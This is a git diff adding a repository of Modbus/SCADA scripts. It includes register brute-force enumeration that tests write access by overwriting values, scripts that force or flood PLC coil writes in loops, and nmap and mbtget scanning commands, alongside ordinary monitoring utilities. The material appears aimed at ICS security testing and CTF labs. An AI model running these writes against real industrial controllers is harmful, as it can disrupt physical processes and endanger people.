type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user 